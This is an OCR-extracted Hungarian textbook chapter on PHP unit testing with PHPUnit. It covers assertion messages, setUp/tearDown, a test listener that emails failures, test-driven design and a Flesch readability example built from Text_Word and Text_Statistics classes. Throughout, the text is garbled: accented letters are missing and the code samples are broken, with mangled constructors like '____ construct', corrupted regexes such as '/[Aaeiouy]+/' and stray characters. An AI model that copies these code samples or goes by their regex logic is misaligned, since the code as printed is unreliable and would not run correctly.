A PHPUnit tovbbi szolgltatsai


Az egyik elnye annak, hogy (akr kevsb rett) nylt forrs szoftvert hasznlunk, az, hogy ltalban jcskn tartalmaz a hasznlatot megknnyt szolgltatsokat. Minl tbb fejleszt hasznlja, annl tbb knyelmi" szolgltats kerl bele, gy vlogathatunk az zlsnknek megfelel nyelvi megoldsok kztt.

170

PHP fejleszts felsfokon

A szolgltatsok tltengse

Az j szolgltatsok megjelense mind a nylt forrs, mind a kereskedelmi programokban gyakran ppgy tok, mint lds. Egy alkalmazs szolgltatskrnek nvekedse ltalban kt kellemetlen kvetkezmnnyel jr: Egyes szolgltatsokat elhanyagolnak, gy nehz megllaptani, melyek hasznlata a legclszerbb. A felesleges szolgltatsok felfjjk a kdot, ami nehezti a karbantartst s rontja a teljestmnyt. Ezekkel a problmkkal s a rjuk adott megoldsokkal rszletesen foglalkozunk a 8. fejezetben.

Beszdesebb hibazenetek ltrehozsa


Nha az albbinl beszdesebb zenetekre lehet szksg: PHPUnit 1. 0. 0-dev by Sebastian Bergmann. .F.
Time: 0.00583696365356 There was 1 failure: 1) TestCase emailaddresstestcase->testlocalpart() failed: expected true, actual fals

FAILURES!!! Tests run: 2,

Failures:

1,

Errors:

0.

Egy informatvabb hibazenet ltfontossg lehet, hogy megrtsk, hol akadt el a program, s mire utal a hiba, klnsen ha egy tesztet tbbszr, klnbz adatokkal ismtelnk. A beszdesebb hibazenetek knnyebb ltrehozst segtend, a TestCase ltal a PHPUnit: :Assert-tl rklt assert fggvnyek tmogatjk a szabadon meghatrozhat hibazeneteket. Vegyk pldul a kvetkez kdot: function testLocalPart () { $email = new EmailAddress("georg@omniti.com") ; // ellenrizzk, hogy a cm helyi rsze 'george'-e $this->assertTrue($email->localPart == 'george');
}

6. fejezet Egysgtesztels

171

Ez a kd a korbbihoz hasonl rejtlyes zenetet eredmnyez. Helyette hasznljunk inkbb sajt zenetet: function testLocalPart() { $email = new EmailAddress("georg@omniti.com"); // ellenrizzk, hogy a cm helyi rsze 'george'-e $this->assertTrue($email->localPart == ' geor g 1 , "localParts: $email->localPart of $email->address != 'george'");
}

Ez mr sokkal vilgosabb hibazenetet ad: PHPUnit 1.0. 0-dev by Sebastian Bergmann. .F. Time: 0.00466096401215 There was 1 failure: 1) TestCase emailaddresstestcase->testLocalPart() failed: localParts: george of george@omniti.com != georg FAILURES! ! ! Tests run: 2, Failures: 1, Errors: 0. A hibazenet vilgosabb ttelvel remlhetleg kijavthatjuk az elrst a tesztben.

Tbb tesztfelttel hozzadsa


Az assertTrue segtsgt ignybe vve egy kis erfesztssel megllapthatjuk, hogy egy teszt sikeres volt-e. Ha minden tesztet igazsglltsknt kell kirtkelnnk, az elg fraszt lehet, ezrt ebben a rszben bemutatunk nhny msfajta megoldst. Az albbi kd pldul a == hasznlatval ellenrzi, hogy a $actual egyenrtk-e a $expected-del: assertEquals($expected, $actual, $message='')

Ha a kett nem egyenrtk, hiba keletkezik, amihez zenet is tartozhat. Vegyk pldul ezt: $this->assertTrue($email->localPart === Ez azonos jelents ezzel: $this->assertEquals($email->localPart, 'george'); ' g e or g e ' ) ;

172

PHP fejleszts felsfokon

A kvetkez kd nem jr sikerrel, s hibazenetet adhat, ha a $object null: assertNotNull($object, $message = '')

A kvetkez kd nem jr sikerrel, s hibazenetet adhat, ha a $ob j ect nem null: assertNull($object, $message = '')

Az albbi kd a === hasznlatval ellenrzi, hogy a $actual egyenrtk-e a $expected-del: assertSame($expected, $actual, $message='')

Ha a kett nem egyenrtk, hiba keletkezik (esetleges hibazenettel). Itt ugyanazzal a mdszerrel azt vizsgljuk, hogy a kett nem egyenrtk-e: assertNotSame($expected, $actual, $message='')

Ha a kett egyenrtk, hiba keletkezik (esetleges hibazenettel). Az albbi pldban azt nzzk meg, hogy a $condition true-e: assertFalse($condition, $message='')

Ha igaz, hiba keletkezik (esetleges hibazenettel). Az albbi kd hibt ad vissza, ha a $actual nem illeszkedik a $expected-re: assertRegExp($expected, $actual, $message='')

me egy llts, ami szerint a $ip 4 szmjegy, pontokkal elvlasztva: // igazat ad vissza, ha a $ip ngy szmjegy, s pontok vlasztjk el (mint egy ip cmben) $this->assertRegExp('/\d+\.\d+\.\d+\.\d+/',$ip); Az albbi kd hibt vlt ki (esetleges hibazenettel):
fail($message= ' ' )

6. fejezet Egysgtesztels

173

Sikert pldul ezzel jelezhetnk: pass () A setUpO s tearDown() tagfggvnyek hasznlata Sok teszt ismtld lehet. Az EmailAddress-t pldul tesztelni akarhatjuk tbbfle e-mail cmmel is. Jelenleg minden tesztfggvnyben j objektumot hozunk ltre, de jobb lenne, ha egyszersthetnnk a munkt, s ezt a feladatot csak egyszer kellene vgrehajtanunk. Szerencsre a TestCase ppen erre a clra biztostja a setp s tearDown tagfggvnyeket. A setUp () kzvetlenl a TestCase tesztfggvnyeinek lefutsa eltt lp mkdsbe, mg a tearDown () rgtn utnuk fut le. Ahhoz, hogy az EmailAddress .phpt-t talakthassuk a setUp () hasznlatra, kzpontostanunk kell az elkszt munkt: class EmailAddressTestCase extends PHPUnit_Framework_TestCase{ protected $email; protected $localPart; protected $domain; function ____ construct($name) { parent: :____ construct($name);
}

function setUp() { $this->email = new EmailAddress("george@omniti.com"); $this->localPart = 'george'; $this->domain = 'omniti.com'; } function testLocalPart() { $this->assertEquals($this->email->localPart, $this->localPart, "localParts: ".$this->email->localPart. " of ".$this->email->address." != $this->localPart"); } function testDomainO { $this->assertEquals($this->email->domain, $this->domain, "domains: ".$this->email->domain. " of $this->email->address != $this->domain") ; } }

174

PHP fejleszts felsfokon

Figyelk hozzadsa
Amikor vgrehajtjuk a PHPUnit_TextUI_TestRunner: : run () fggvnyt, az egy PHPUnit_Framework_TestResult objektumot hoz ltre, amelyben a tesztek eredmnyei troldnak majd, s hozzkapcsol egy figyelt, amely a PHPUnit_Framework_TestListener felletet valstja meg. A figyel feladata az esetleges kimenet ellltsa, illetve rtests kldse a teszteredmnyek alapjn. Hogy jobban lssuk, mirl is van sz, az albbiakban myTestRunner () nven megtekinthetjk a PHPUnit_TextUI_TestRunner: : run () egyszerstett vltozatt. Ez a fggvny ugyangy hajtja vgre a teszteket, mint a TextUI, de hinyzik belle a korbbi pldkban fellelhet idzts: require_once "PHPUnit/TextUI/ResultPrinter.php"; require_once "PHPUnit/Framework/TestResult.php"; function myTestRunner($suite)
{

$result = new PHPUnit_Framework_TestResult; $textPrinter = new PHPUnit_TextUI_ResultPrinter; $result->addListener($textPrinter); $suite->run($result); $textPrinter->printResult($result);


}

A PHPUnit_TextUI_ResultPrinter egy figyel, amelynek feladata a korbban ltott kimenetek ellltsa. Emellett a tesztekhez tovbbi figyelket is adhatunk, aminek akkor ltjuk hasznt, ha az egyszer szvegmegjelentsen kvl msfle jelentseket is szeretnnk. Egy nagy API-nl szksg lehet pldul egy fejleszt levlben trtn rtestsre, ha egy, az keze al tartoz sszetev megbukik az egysgteszteken. (A fejleszt nem felttlenl maga vgzi a tesztelst.) Erre a clra egy ilyen figyelt rhatunk:
<?php require_once "PHPUnit/Framework/TestListener.php"; class EmailAddressListener implements PHPUnit_Framework_TestListener { public $owner = "develepors@example.foo"; public $message = ' ' ; public function addError(PHPUnit_Framework_Test $test, Exception $e) { $this->message .= "Error in ".$test->getName()."\n"; $this->message .= "Error message: ".$e->getMessage()."\n"; }

6. fejezet Egysgtesztels

175

public function addFailure(PHPUnit_Framework_Test $test, PHPUnit_Framework_AssertionFailedError $e) {

$this->message .= "Failure in ".$test->getName()."\n"; $this->message .= "Error message: ".$e->getMessage()."\n";


}

public function startTest(PHPUnit_Framework_Test $test)


{

$this->message .= "Beginning of test ".$test->getName()."\n";


}

public function endTest(PHPUnit_Framework_Test $test)


{

if ($this->message) { $owner = isset($test->owner)?$test->owner:$this->owner; $date = strftime("%D % H : % M : % S " ) ; mail($owner, "Test Failed at $date", $this->message) ;
} } } ?>

Ne feledjk: mivel az EmailAddressListener a PHPUnit_Framework_TestListener-t valstja meg (s nem bvti azt), az ott meghatrozott valamennyi tagfggvnyhez megvalstst kell nyjtania, ugyanazokkal a prototpusokkal. Ez a figyel gy mkdik, hogy sszegyjt minden hibazenetet, amit egy teszt ad. Amikor a teszt befejezdtt, az endTest () meghvsra, s az zenet tovbbtsra kerl sor. Ha a krdses tesztnek van owner tulajdonsga, a figyel az annak megfelel cmet hasznlja, ha nincs, a developers@example. foo alaprtelmezst. Ha ezt a figyelt tmogatni szeretnnk a myTestRunner () -ben, csak annyit kell tennnk, hogy hozzadjuk az addListener () fggvnnyel: function myTestRunner($suite)
{

$result = new PHPUnit_Framework_TestResult; $textPrinter = new PHPUnit_TextUI_ResultPrinter; $result->addListener($textPrinter); $result->addListener(new EmailAddressListener) ; $suite->run($result); $textPrinter->printResult($result);
}

176

PHP fejleszts felsfokon

Grafikus fellet hasznlata


Mivel a PHP webkzpont nyelv, az egysgtesztek futtatsra lehet, hogy HTML alap felhasznli felletet szeretnnk. A PHPUnit tartalmazza az ehhez szksges tmogatst, a PHPUnit_WebUI_TestRunner: : run () fggvnnyel. A WebUI valjban szinte teljesen azonos a TextUI keretrendszerrel, csak a HTML kimenet ellltsra sajt figyelt alkalmaz. Remlhetleg a jvben lesznek olyan egyestett fejlesztkrnyezetek (IDE-k, programozsi GUI-k) a PHP-hez, amelyek az egysgtesztelst is felveszik szolgltatsaik kz (ahogy szmos Java IDE is teszi). A PHP-GTK kapcsn remnykedhetnk, hogy elkszl egy PHPGTK fellet a PHPUnit-hoz. (A PHP-GTK egy PHP fellet a GTK grafikus knyvtrfellethez, amely lehetv teszi a Windows s XI1 GUI fejlesztst PHP nyelven.) A PEAR kdtrban tulajdonkppen van mr egy kezdemny, a PHPUnit_GtkUI_TestRunner, de ez ma mg nem teljes.

Tesztvezrelt tervezs
Alapveten hrom idpontban rhatunk teszteket: megvalsts eltt, megvalsts kzben s megvalsts utn. Kent Beck, a JUnit szerzje, az extrm programozs elismert szakrtje azt mondja: soha ne rjunk egyetlen sor kdot sem, amg nincs egy meghisult tesztesetnk". Ez azt jelenti, hogy mieltt brminek a megvalstsba belekezdennk (vagyis j kdot rnnk), hatrozzunk meg valamilyen hvsi felletet a kd szmra, s rjunk egy tesztet, ami a vrt mkdst ellenrzi. Mivel mg nincs kd, amit ellenrizhetnnk, a teszt termszetesen nem jr sikerrel. A lnyeg az, hogy meghatrozzuk, milyen viselkedst kell mutatnia a kdnak a vgfelhasznl fel, s elre vgiggondoljuk, milyen tpus bemenetet s kimenetet kell kapnia. Ez elsre szlssges megoldsnak tnhet, de a tesztvezrelt fejlesztsnek (test-driven development, TTD) szmos elnye van: Elsegti a j tervezst. - A kdols megkezdse eltt teljes egszben megtervezzk az osztlyokat s fggvnyeket, mivel az API-k hasznlatra mr azok ltezse eltt kdot runk. Megakadlyozza, hogy eleve a kdhoz illeszked teszteket rjunk. - A TDD-vel elkerlhetjk a hamis tesztelst, amikor is elvrsokhoz igaztjuk a kdot. Segt korltozni a kd hatkrt. - A nem tesztelt szolgltatsokat nem szksges megvalstani. Javtja az sszpontostst. - Mivel sikertelen tesztekkel rendelkeznk, a fejleszts termszetes mdon arra irnyul, hogy a tesztek sikeresen fussanak le. Meghatrozza a sarkalatos pontokat. - A kd akkor tekinthet ksznek s teljesnek, ha minden teszt sikeresen lefut. A tesztels az els" megkzeltshez hozz kell szokni, s bizonyos helyzetekben nehezen alkalmazhat, de biztostja a j programfelptst s a kvetelmnyek pontos mgha-

6. fejezet Egysgtesztels

177

tarozst. Azzal, hogy a program kvetelmnyeit megvalst teszteket runk, nem csak magasabb sznvonal kdot kapunk, hanem cskkentjk annak az eslyt is, hogy a kvetelmnyek lersakor vletlenl kihagyunk valamit.

A Flesch pontszmt
Rudolf Flesch nyelvsz volt, aki a nyelvmegrtst tanulmnyozta, fknt az angol nyelvvel kapcsolatban. Flesch azzal kapcsolatos munkja, hogy mitl vlik olvashatv egy szveg, illetve hogyan tanulnak meg (vagy nem tanulnak meg) egy nyelvet a gyerekek, sztnzte Theodor Seuss Geiselt is (Dr. Seuss-t) kitn gyerekknyvei, pldul a The Cat in the Hat megrsra. Flesch 1943-ban, a Columbia Egyetemen rt doktori disszertcijban egy olvashatsgi indexet lltott fel, amely a szveg elemzse alapjn megllaptja annak bonyolultsgi fokt. A Flesch indexet ma is szles krben hasznljk szvegek olvashatsgnak osztlyozsra. A teszt gy mkdik: 1. Megszmoljuk a szavakat a szvegben. 2. Megszmoljuk a sztagokat a szvegben. 3. Megszmoljuk a mondatokat a szvegben. Az index a kvetkez kplet alapjn ll el: Flesch pontszm = 206,835 - 84,6 x (sztagok/szavak) - 1,015 x (szavak, mondatok) Az eredmnyknt kapott pontszm adja meg a szveg olvashatsgt. (Minl magasabb a pontszm, annl knnyebben olvashat a szveg.) A pontszmok a kvetkez iskolai szinteknek felelnek meg:

Flesch szmtsa szerint a Newsweek magazin olvashatsgi pontszma 50, a tindzsereknek szl Seventeen- 67, az Egyeslt llamok adbevteli jelents pedig -6. Az olvas-

178

PHP fejleszts felsfokon

hatsgi indexet a marketingesek, a nagyobb cgek s kormnyzati hivatalok arra a clra hasznljk, hogy biztostsk, hogy a szveg a clkznsg szmra rthet legyen (pldul egy harmadikos olvasknyvet ne az tdikesek szintjn rjanak meg).

A Word osztly tesztelse


Kezdjk azzal, hogy runk egy tesztet, ami egy szban megszmolja a sztagokat:
<?php require "PHPUnit/Framework/TestSuite.php"; require "PHPUnit/TextUI/TestRunner.php"; require "Text/Word.inc"; class Text_WordTestCase extends PHPUnit_Framework_TestCase { public $known_words = array( 'the' => 1, 1 lat' => 1, 1frantic' => 2, 'programmer' => 3) ; public function___ construct($name) { parent::__ construct($name); }

public function testKnownWords() { foreach ($this->known_words as $word => $syllables) $obj = new Text_Word($word); $this->assertEquals($syllables, $obj->numSyllables());
} } }

$suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase'); PHPUnit_TextUI_TestRunner::run($suite); ?> Ez a teszt termszetesen nem jr sikerrel, hiszen mg nincs Word osztlyunk, de hamarosan erre is rtrnk. A Word szmra megadott fellet olyan, ami kzenfekvnek ltszik, de ha a sztagszmllsra nem bizonyul elgsgesnek, majd kibvthetjk. A kvetkez lps, hogy megvalstsuk a Word osztlyt, ami mr sikerrel veszi a tesztet:
<?php class Text_Word { public $word; public function __ construct($name) { $this->word = $name; } protected function mungeWord($scratch) { // az egyszersg kedvrt kisbets

6. fejezet Egysgtesztels

179

$scratch = strtolower($scratch); return $scratch; } protected function numSyllables() { $scratch = mungeWord($this->word) ; // A szavakat elvlasztjuk a magnhangzknl (a, e, i, o, u, * illetve y). $fragments = preg_split("/[Aaeiouy]+/", $scratch); //A tmb mindkt vgt kitakartjuk, ha null elemek szerepelnek ott. if(!$fragments[0]) { array_shift($fragments); } if (!$fragments[count($fragments) -1 ]) { array_pop($fragments); } return count($fragments); } } ?>

Ezeknek a szablyoknak a lat nem felel meg. Ha egy angol sz mssalhangz utni e-re vgzdik, az e ltalban nem szmt nll sztagnak (ellenben az y vagy az ie igen), ezrt az esetleges e vgzdseket el kell tvoltanunk. me ennek a kdja: function mungeWord($scratch) { $scratch = strtolower($scratch); $scratch = preg_replace("/e$/", return $scratch;
}

"",

$scratch);

A teszten most a the bukik meg, amelyben a zr e eltvoltsa utn nem marad magnhangz. Ezt gy kezelhetjk, hogy biztostjuk, hogy a teszt mindig visszaad legalbb egy sztagot: function numSyllables() { $scratch = mungeWord($this->word); // A szavakat elvlasztjuk a magnhangzknl (a, e, illetve y). $fragments = preg_split("/[Aaeiouy]+/", $scratch); // A tmb mindkt vgt kitakartjuk, ha null elemek szerepelnek ott. if(!$fragments[ 0 ]) { array_shift($fragments);
}

i, o, u,

180

PHP fejleszts felsfokon

if (!$fragments[count($fragments) - 1]) { array_pop($fragments); } if(count($fragments)) { return count($fragments); } else { return 1; } }

Ha a szlistt kiss kibvtjk, szrevehetjk, hogy mg mindig vannak hibk, klnsen a nem kettshangznak szmt, tbb magnhangzbl ll hangkapcsolatok esetben (amilyen pldul az ie az alien, vagy az io a biogmphy szban). Ezekhez knnyen vehetnk fel j teszteket:
<?php require_once "Text/Word.inc"; require_once "PHPUnit/Framework/TestSuite.php"; class Text_WordTestCase extends PHPUnit_Framework_TestCase { public $known_words = array( 'the' => 1, 'lat' => '1', 'hello' => '2', 'frantic' => ' 2 ' , 'programmer' => ' 3 ' ); public $special_words = array ( 'absolutely' => 4, 'alien' => 3, 'ion' => 2, 'tortion' => 2, 'gracious' => 2, 'lien' => 1, 'syllable' => 3); function __ construct($name) { parent::__ construct($name); } public function testKnownWords() { foreach ($this->known_words as $word => $syllables) { $obj = new Text_Word($word) ; $this->assertEquals($syllables, $obj->numSyllables(), "$word has incorrect syllable count");

public function testSpecialWords() { foreach ($this->special_words as $word => $syllables) { $obj = new Text_Word($word) ;

6. fejezet Egysgtesztels

181

$this->assertEquals($syllables, $obj->numSyllables(), "$word has incorrect syllable count"); } } } if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==__ FIL__ ) { require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase'); PHPUnit_TextUI_TestRunner::run($suite); } ?>

A teszt most ezt eredmnyezi: PHPUnit 1.0.0-dev by Sebastian Bergmann. .. F Time: 0.00660002231598 There was 1 failure: 1) TestCase text_wordtestcase->testspecialwords() failed: absolutely has incorrect syllable count expected 4, actual 5 FAILURES!!!

Tests run:

2,

Failures:

1,

Errors:

0.

A hiba kijavtst azzal kezdjk, hogy a numSyllables () fggvnyt egy jabb mvelettel egsztjk ki, ami az io s ie hangokat egy sztagnak szmtja, a ktsztag able miatt hozzad, az absolutely nma e-je miatt pedig levon egy sztagot:
<?

function countSpecialSyllables($scratch) { $additionalSyllables = array( ' A w l i e n / ' , // alien, de nem lien '/bl$/ ' , // sztag '/io/', // biography ); $silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely ); $mod = 0;
foreach( $silentSyllables as $pat ) { if(preg_match($pat, $scratch)) { $mod--; } }

182

PHP fejleszts felsfokon

foreach( $additionalSyllables as $pat ) { if(preg_match($pat, $scratch)) { $mod++; } } return $mod; }

function numSyllables() { if($this->_numSyllables) { return $this->_numSyllables;


}

$scratch = $this->mungeWord($this->word); // A szavakat elvlasztjuk a magnhangzknl (a, e, i, o, u, ' illetve y) . $fragments = preg_split("/[^aeiouy]+/", $scratch); if(!$fragments[0]) { array_shift($fragments);
}

if(!$fragments[count( $ f ragments) - 1 ] ) array_pop( $ f ragments);


}

$this->_numSyllables += $this->countSpecialSyllables($scratch); if(count($fragments)) { $this->_numSyllables += count( $ f ragments);


}

else { $this->_numSyllables = 1;
}

return $this->_numSyllables;
} ?>

A teszt most mr majdnem ksz, de a tortion s a gracious is ktsztag sz, amihez az 'o-teszt most mg tl aggresszv". Ezrt az ion s iou kapcsolatokat felvesszk a nma sztagok listjra: function countSpecialSyllables($scratch) { $additionalSyllables = array( 'Awlien/', // alien, de nem lien 1/bl$/', // sztag 7io/', // biography ); $silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely 'Awion /', // az io illeszts miatt 1/iou/ ' , ); $mod = 0; foreach( $silentSyllables as $pat ) {

6. fejezet Egysgtesztels

183

if(preg_match($pat, $mod--;
} }

$scratch))

foreach( $additionalSyllables as $pat ) if (preg_match($pat, $scratch)) { $mod++;


} }

return $mod;
}

A Word osztly tmegy a teszten, gy folytathatjuk a megvalstst, hogy megszmlljuk a szavakat s mondatokat is. Megint egy tesztesettel kezdjk:
<?php require_once "PHPUnit/Framework/TestCase.php"; require_once "Text/Statistics.inc" ; class TextTestCase extends PHPUnit_Framework_TestCase { public $sample; public $object; public $numSentences; public $numWords; public $numSyllables; public function setUp() { $this->sample = " Returns the number of words in the analyzed text fil or block. A word must consist of letters a-z with at least one vowel sound, and optionally an apostrophe or a hyphen."; $this->numSentences = 2 ; $this->numWords = 31; $this->numSyllables = 45; $this->object = new Text_Statistics($this->sample); } function _ construct($name) { parent::__ construct($name); } function testNumSentences() { $this->assertEquals($this->numSentences, $this->object->numSentences) ; } function testNumWords() { $this->assertEquals($this->numWords, $this->object->numWords); } function testNumSyllables() {

184

PHP fejleszts felsfokon

$this->assertEquals($this->numSyllables, $this->object->numSyllables);
} }

if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FIL__ ) { require_once "PHPUnit/Framework/TestSuite.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new PHPUnit_Framework_TestSuite('TextTestCase'); PHPUnit_TextUI_TestRunner::run($suite);
} ?>

Olyan teszteket vlasztottunk, amelyek pontosan azt a statisztikt ksztik el, amire egy szvegblokk Flesch pontszmnak kiszmtshoz szksg van. A helyes" rtkeket magunk szmtjuk ki a hamarosan elksztend osztlyhoz. Amikor olyan szolgltatsokat ksztnk, mint statisztikai adatok gyjtse egy szvegdokumentumrl, klnsen knny tlzsokba esni, de ha van egy jl krlhatrolt teszthalmazunk, amihez kdolskor igazodhatunk, egyszerbb tartani az irnyt. Prblkozzunk meg ht a Text_Statistics osztly megvalstsval:
<?php require_once "Text/Word.inc"; class Text_Statistics { public $text = ' ' ; public $numSyllables = 0; public $numWords = 0; public $uniqWords = 0; public $numSentences = 0; public $flesch = 0 ; public function __ construct($block) { $this->text = $block; $this->analyze(); } protected function analyze() { $lines = explode("\n", $this->text) ; foreach($lines as $line) { $this->analyze_line($line) ; } $this->flesch = 206.835 (1.015 * ($this->numWords / $this->numSentences) ) (84.6 * ($this->numSyllables / $this->numWords)); } protected function analyze_line($line) { preg_match_all("/\b(\w[\W-]*)\b/", $line, $words);

6. fejezet Egysgtesztels

185

foreach($words[1] as $word) { $word = strtolower($word) ; $w__obj = new Text_Word($word) ; $this->numSyllables += $w_obj->numSyllables(); $this->numWords++; if ( !isset($this->_uniques[$word])) { $this->_uniques[$word] = 1;
}

else { $this->uniqWords++;
} }

preg_match_all( " / [ . ! ? ] / " , $line, $matches); $this->numSentences += count($matches[ 0 ] );


} } ?>

Hogyan mkdik mindez? Elszr is, tadjuk a szvegblokkot az analyze tagfggvnynek. Az analyze az explode tagfggvny segtsgvel bontja sorokra a dokumentumot, az egyes sorokat pedig a ltrehozott $lines tmbbe helyezi. Ezutn minden sorra meghvjuk az analyze_line () fggvnyt, amely a / \b (\w [ \w' - ] *) \b/ szablyos kifejezssel szavakra trdeli a sort. Ez a szablyos kifejezs a kvetkezkre illeszkedik: \b ( \w [\w'-]* ) \b # # # # # # # sz eleje szkz nlkl (szhatr) feldolgozs kezdete egyetlen bet vagy szm nulla vagy tbb alfanumerikus karakter plusz 's vagy -s (az elvlasztsok s sszevonsok tmogatsra) feldolgozs vge sz vge szkz nlkl (szhatr)

Az gy beolvasott szavak mindegyikhez ltrehozunk egy Word objektumot, s megszmoljuk a benne lev sztagokat. Miutn minden szt feldolgoztunk a sorban, megszmoljuk a mondatvgi rsjeleket a / [ . ! ? ] / szablyos kifejezsre val illesztssel. Ha minden teszt sikeres, tovbblphetnk az alkalmazstesztelsi szakaszra. Mieltt tadnnk a kdot minsgellenrzsre, a tesztel osztlyokat egyetlen csomagba kell tennnk. A korbban megrt PHPUnit: :TestHarness segtsgvel ez egyszer feladat: <?php require_once "TestHarness.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new TestHarness(); $suite->register("Text/Word.phpt");

186

PHP fejleszts felsfokon

$suite->register("Text/Statistics.phpt"); PHPUnit_TextUI_TestRunner::run($suite); ?>

Idelis esetben most mr tadhatnnk a kdot egy minsgellenrz csapatnak, akik a maguk mdszerei szerint keresnnek hibkat benne. Kevsb idelis esetben magunknak kell ellenriznnk a kdot. Mindkt esetben valszn azonban, hogy a kd mg a bonyolultsg ilyen alacsony szintjn is tartalmazni fog hibkat.

1. hibajelents
Bizonyos, hogy amint tesztelni kezdjk az eddig ltrehozott kdot, hibajelentseket kapunk. A rvidtseket (pldul Dear Mr. Smith) tartalmaz szvegekben a mondatszm tl magas, gy a Flesch pontszm torzul. A hiba megkeresshez egyszeren felvehetnk egy jabb tesztesetet. A korbban futtatott teszteknek ki kellett volna mutatniuk a hibt, de mivel a szvegben nem voltak rvidtsek, ez nem trtnt meg. A rgi tesztesetet nem szeretnnk kicserlni (ez soha nem j tlet, hacsak maga a teszt nem hibs); ehelyett egy jat vesznk fel, amely az elz statisztikai vizsglatokat egy msik, rvidtseket tartalmaz dokumentumon futtatja le. Mivel csak a tesztelsre hasznlt adatokat akarjuk megvltoztatni, nem magukat a teszteket, az j TestCase objektumot nem a semmibl kell megrnunk; elg, ha egyszeren egy alosztlyt szrmaztatunk a TextTestCase osztlybl, s tlterheljk a setUp tagfggvnyt, valahogy gy: class AbbreviationTestCase extends TextTestCase { function setUp() { $this->sample = " Dear Mr. Smith, Your request for a leave of absence has been approved. Enjoy your vacation. $this->numSentences = 2; $this->numWords = 16; $this->numSyllables = 2 4; $this->object = new Text_Statistics($this->sample) ;
}

function ____ construct($name) { parent: :____ construct($name);


} }

Ktsgtelen, hogy a hiba ltezik; a Mr. -t a teszt egy mondat vgnek tekinti. A problmt gy kerlhetjk ki, hogy a szoksos rvidtsek vgrl eltvoltjuk a pontot. Ehhez szk-

6. fejezet Egysgtesztels

187

sgnk lesz a szoksos rvidtsek listjra, illetve kiegszt kdra, amivel eltvoltjuk a rvidtsek vgn lev pontot. Mindezt a Text_Statistics statikus tulajdonsgv tesszk, s a listt az analyze_line futtatsakor helyettestjk be. me a kd: class Text_Statistics { // ... static $abbreviations = array('/Mr\./'

=>'Mr', '/Mrs\./i' =>'Mrs', 1/etc\. /i ' =>'etc', '/Dr\. /i ' = > ' D r ', );

// . .. protected function analyze_line($line) { // az ismert rvidtsek cserje $line = preg_replace(array_keys( s e l f::$abbreviations) , array_values(self::$abbreviations), $line); preg_match_all("/\b(\w[\w'-]*)\b/", $line, $words); foreach($words[1] as $word) { $word = strtolower($word); $w_obj = new Text_Word($word); $this->numSyllables += $w_obj->numSyllables() ; $ thi s->numWords++ ; if(!isset($this->_uniques[$word])) { $this->_uniques[$word] = 1;
}

else { $this->uniqWords++;
} }

preg_match_all( " / [ ! ? ] / " , $line, $matches); $this->numSentences += count($matches[0]);


} }

A mondatszm most mr helyes, de a sztagszm nem. gy tnik, a Mr. egyetlen sztagnak szmt (mivel nincs benne magnhangz). Ennek kezelsre kibvthetjk a rvidtslistt, hogy ne csak a pontokat tvoltsa el, hanem a sztagszmllshoz fel is oldja a rvidtseket. me a kd, amivel elrhetjk ezt: class Text_Statistics { // ... static $abbreviations = array('/Mr\./' = > ' Mister1, ' / M r s \ . / i ' = > ' Mi sse s' , //Phonetic ' / e t c \ . / i ' = > ' etcetera' , ' / D r \ . / i ' = > ' D o c t or ' , ); // ...
}

188

PHP fejleszts felsfokon

Mg szmos javtst eszkzlhetnk a Text_Statistics rutinon. A kivteleket kezel $silentSyllable (nma sztag) s $additionalSyllable (kiegszt sztag) tmb j kezdet, de mg sok elvgzend munka akad velk. A rvidtslista ugyangy meglehetsen korltozott jelenleg; jcskn lenne mg mit bvteni rajta. Az osztlyok bvtsvel tbb nyelv tmogatst is felvehetjk, mg a statisztikt ms olvashatsgi indexekkel (Gunning FOG index, SMOG index, Flesch-Kincaid szintfelmrs, Powers-Sumner-Kearl kplet, FORCAST kplet stb.) egszthetjk ki. Az emltett vltoztatsok knnyen vgrehajthatk, a regresszis tesztekkel pedig egyszeren ellenrizhetjk, hogy a mdostsok nincsenek hatssal a jelenlegi viselkedsre.

Egysgtesztels webes krnyezetben


Amikor rgebben a PHP-ben trtn egysgtesztelsrl beszlgettem fejlesztkkel, gyakran hivatkoztak arra, hogy a PHP webkzpont nyelv, weblapokat pedig igen nehz egysgtesztelsnek alvetni. Szerintem nincs igazuk. Ha sszeren sztvlasztjuk a megjelentsi s mkdsi kdot, az alkalmazskd tlnyom tbbsge alvethet egysgtesztelsnek, s a Vilghltl fggetlenl teljes egszben tesztelhet. Az a kis rsz, amelynek ellenrzshez tnyleg szksg van a Webre, a curl bvtmnyen keresztl vizsglhat.

A curi-rl

A curl egy gyflknyvtr, amely internetes protokollok rendkvl szles krn (FTP, HTTP, HTTPS, LDAP stb.) keresztl tmogatja a fjltvitelt. Az a legjobb benne, hogy a krelmekhez s vlaszokhoz igen aprlkos hozzfrst biztost, gy knny vele egy bngszt utnozni. A curl hasznlatnak engedlyezshez a PHP-t a --with-curl kapcsolval kell teleptennk (ha forrskdbl ptjk fel), vagy meg kell gyzdnnk rla, hogy a binris vltozatban a curl engedlyezett.

A felhasznlk azonostsrl rszletesebben a 13. fejezetben beszlnk, de most egy egyszer plda erejig elvesszk. Egy beptett azonost rendszert runk, ami a felhasznlt egy sti alapjn hitelesti. Ha a sti megtallhat, az oldalhoz a kvetkez HTML megjegyzst adjuk: <!-- crafted for NAME !--> Elszr ksztennk kell egy egysgtesztet. A curl segtsgvel egy user=george sutit kldnk a hitelest oldalnak, majd megkeressk a megjegyzst az adott felhasznl nevvel. A teljessg kedvrt azt is biztostjuk, hogy ha nem adunk t sutit, nem kerl sor hitelestsre.

6. fejezet Egysgtesztels

189

me a kd:
